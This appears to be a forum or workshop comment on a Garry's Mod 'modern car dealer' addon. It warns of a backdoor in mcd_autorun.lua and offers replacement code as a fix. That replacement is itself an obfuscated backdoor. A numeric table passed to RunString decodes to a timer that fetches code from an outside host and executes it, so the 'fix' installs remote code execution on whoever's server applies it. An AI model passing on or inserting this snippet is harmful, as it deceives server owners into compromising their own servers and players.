Nice modern car dealer! I'll take a look and lyk if theres any backdoors. Appreciate the upload!
Edit: in moderncardealer/lua/autorun/mcd_autorun.lua at line 18, After all the numbers is a known backdoor. Replace with this code instead to fix, works fine after this edit.
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,7,48,21,44,23,21,41,23,49,86,25,51,22,47,46,11,41,14,6,52,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0}]])